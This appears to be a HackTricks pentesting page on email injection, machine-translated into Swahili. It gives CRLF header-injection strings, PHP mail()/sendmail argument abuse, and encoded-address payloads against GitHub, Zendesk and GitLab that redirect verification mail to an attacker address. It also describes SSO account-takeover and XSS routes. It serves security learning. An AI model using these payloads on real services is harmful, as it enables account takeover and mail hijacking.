Email Injections
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ingiza katika barua pepe iliyotumwa
Ingiza Cc na Bcc baada ya hoja ya mtumaji
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Ujumbe utatumwa kwa akaunti za mpokeaji na mpokeaji1.
Ingiza hoja
From:sender@domain.com%0ATo:attacker@domain.com
Ujumbe utatumwa kwa mpokeaji wa asili na akaunti ya mshambuliaji.
Ingiza hoja ya kichwa
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Kichwa cha uwongo kitaongezwa kwenye kichwa halisi na katika baadhi ya matukio kitaibadilisha. Inategemea tabia ya huduma ya barua pepe.
Badilisha mwili wa ujumbe
Ingiza mlo wa mistari miwili, kisha andika ujumbe wako kubadilisha mwili wa ujumbe.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() function exploitation
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Paramenta ya 5 ($additional_parameters)
Sehemu hii itategemea jinsi ya kutumia vibaya paramenta hii ikiwa mshambuliaji anaitawala.
Paramenta hii itaongezwa kwenye mstari wa amri PHP itakayotumia kuita binary sendmail. Hata hivyo, itasafishwa kwa kutumia kazi escapeshellcmd($additional_parameters)
.
Mshambuliaji anaweza kuingiza paramenta za kutolewa kwa sendmail katika kesi hii.
Tofauti katika utekelezaji wa /usr/sbin/sendmail
sendmail kiolesura kinatolewa na programu ya MTA ya barua pepe (Sendmail, Postfix, Exim n.k.) iliyosakinishwa kwenye mfumo. Ingawa ufanyaji kazi wa msingi (kama vile -t -i -f paramenta) unabaki sawa kwa sababu za ulinganifu, kazi na paramenta nyingine hutofautiana sana kulingana na MTA iliyosakinishwa.
Hapa kuna mifano michache ya kurasa tofauti za mtu wa amri/sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Kulingana na chanzo cha binary sendmail, chaguzi tofauti zimegunduliwa kutumia vibaya na kuvuja faili au hata kutekeleza amri zisizo za kawaida. Angalia jinsi katika https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Ingiza katika jina la barua pepe
caution
Kumbuka kwamba ikiwa utaweza kuunda akaunti katika huduma yenye jina la kikoa kisicho na mpangilio (kama Github, Gitlab, CloudFlare Zero trust...) na kuithibitisha kwa kupokea barua pepe ya uthibitisho kwenye anwani yako ya barua, huenda ukawa na uwezo wa kufikia maeneo nyeti ya kampuni ya mwathirika
Sehemu zilizopuuziliwa mbali za barua pepe
Alama: +, - na {} katika matukio nadra zinaweza kutumika kwa ajili ya kuweka alama na kupuuziliwa mbali na seva nyingi za barua pepe
- Mfano: john.doe+intigriti@example.com β john.doe@example.com
Maoni kati ya mabano () mwanzoni au mwishoni pia yatapuuziliwa mbali
- Mfano: john.doe(intigriti)@example.com β john.doe@example.com
Kupita kwenye orodha ya ruhusa
Nukuu
IPs
Unaweza pia kutumia IP kama jina la kikoa kati ya mabano ya mraba:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Uandishi wa Barua Pepe
Kama ilivyoelezwa katika tafiti hii, majina ya barua pepe pia yanaweza kuwa na wahusika walioandikwa:
- PHP 256 overflow: Kazi ya PHP
chr
itaendelea kuongeza 256 kwa wahusika hadi iwe chanya na kisha ifanye operesheni%256
. String.fromCodePoint(0x10000 + 0x40) // π β @
tip
Lengo la hila hii ni kumaliza na kuingiza kama RCPT TO:<"collab@psres.net>collab"@example.com>
ambayo itatuma barua pepe ya uthibitisho kwa anwani tofauti ya barua pepe kutoka ile inayotarajiwa (hivyo kuingiza anwani nyingine ya barua pepe ndani ya jina la barua pepe na kuvunja sintaksia wakati wa kutuma barua pepe)
Mifumo tofauti ya uandishi:
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
#Β iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 β x@<svg/
Payloads:
- Github:
=?x?q?collab=40psres.net=3e=00?=foo@example.com
- Kumbuka
@
iliy encoded kama =40,>
iliy encoded kama=3e
nanull
kama=00
- Itatuma barua ya uthibitisho kwa
collab@psres.net
- Zendesk:
"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
- Hila sawa na ile ya awali lakini ikiongeza nukuu za kawaida mwanzoni na nukuu iliy encoded
=22
kabla ya@
iliy encoded na kisha kuanza na kufunga nukuu kabla ya barua nyingine ili kurekebisha sintaksia inayotumiwa ndani ya Zendesk - Itatuma barua ya uthibitisho kwa
collab@psres.net
- Gitlab:
=?x?q?collab=40psres.net_?=foo@example.com
- Kumbuka matumizi ya underscore kama nafasi ya kutenganisha anwani
- Itatuma barua ya uthibitisho kwa
collab@psres.net
- Punycode: Kwa kutumia Punycode ilikuwa inawezekana kuingiza tag
<style
katika Joomla na kuitumia kuiba token ya CSRF kupitia exfiltration ya CSS.
Tooling
- Kuna Burp Suite Turbo Intruder script ya kufuzz hizi aina za mchanganyiko kujaribu kushambulia muundo wa barua pepe. Script tayari ina mchanganyiko unaoweza kufanya kazi.
- Pia inawezekana kutumia Hackvertor kuunda shambulio la kugawanya barua pepe
Other vulns
Third party SSO
XSS
Huduma zingine kama github au salesforce zinakuruhusu kuunda anwani ya barua pepe yenye payloads za XSS. Ikiwa unaweza kutumia hawa watoa huduma kuingia kwenye huduma nyingine na huduma hizi hazifanyi usafi ipasavyo barua pepe, unaweza kusababisha XSS.
Account-Takeover
Ikiwa huduma ya SSO inakuruhusu kuunda akaunti bila kuthibitisha anwani ya barua pepe iliyotolewa (kama salesforce) na kisha unaweza kutumia akaunti hiyo ku ingia kwenye huduma tofauti ambayo inaamini salesforce, unaweza kupata akaunti yoyote.
Kumbuka kwamba salesforce inaonyesha ikiwa barua pepe iliyotolewa ilikuwa au haikuwa imehakikishwa lakini hivyo programu inapaswa kuzingatia habari hii.
Reply-To
Unaweza kutuma barua pepe ukitumia From: company.com na Replay-To: attacker.com na ikiwa jibu la kiotomatiki litatumwa kwa sababu barua pepe ilitumwa kutoka anwani ya ndani mshambuliaji anaweza kuwa na uwezo wa kupokea hiyo jibu.
Hard Bounce Rate
Huduma fulani, kama AWS, zinaanzisha kigezo kinachojulikana kama Hard Bounce Rate, ambacho kawaida huwekwa kwa 10%. Hii ni kipimo muhimu, hasa kwa huduma za utoaji wa barua pepe. Wakati kiwango hiki kinapozidiwa, huduma, kama huduma ya barua pepe ya AWS, inaweza kusimamishwa au kuzuiwa.
Hard bounce inahusisha barua pepe ambayo imerejeshwa kwa mtumaji kwa sababu anwani ya mpokeaji si halali au haipo. Hii inaweza kutokea kwa sababu mbalimbali, kama vile barua pepe kutumwa kwa anwani isiyo na uwepo, kikoa ambacho si halisi, au kukataa kwa seva ya mpokeaji kupokea barua pepe.
Katika muktadha wa AWS, ikiwa unatumia barua pepe 1000 na 100 kati yao zinapelekea hard bounces (kwa sababu kama anwani zisizo halali au kikoa), hii itamaanisha kiwango cha hard bounce cha 10%. Kufikia au kuzidi kiwango hiki kunaweza kusababisha AWS SES (Simple Email Service) kuzuiwa au kusimamishwa uwezo wako wa kutuma barua pepe.
Ni muhimu kudumisha kiwango cha chini cha hard bounce ili kuhakikisha huduma ya barua pepe isiyokatizwa na kudumisha sifa ya mtumaji. Kufuata na kusimamia ubora wa anwani za barua pepe katika orodha zako za barua inaweza kusaidia sana katika kufikia hili.
Kwa maelezo zaidi, hati rasmi ya AWS kuhusu kushughulikia bounces na malalamiko inaweza kutazamwa AWS SES Bounce Handling.
References
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.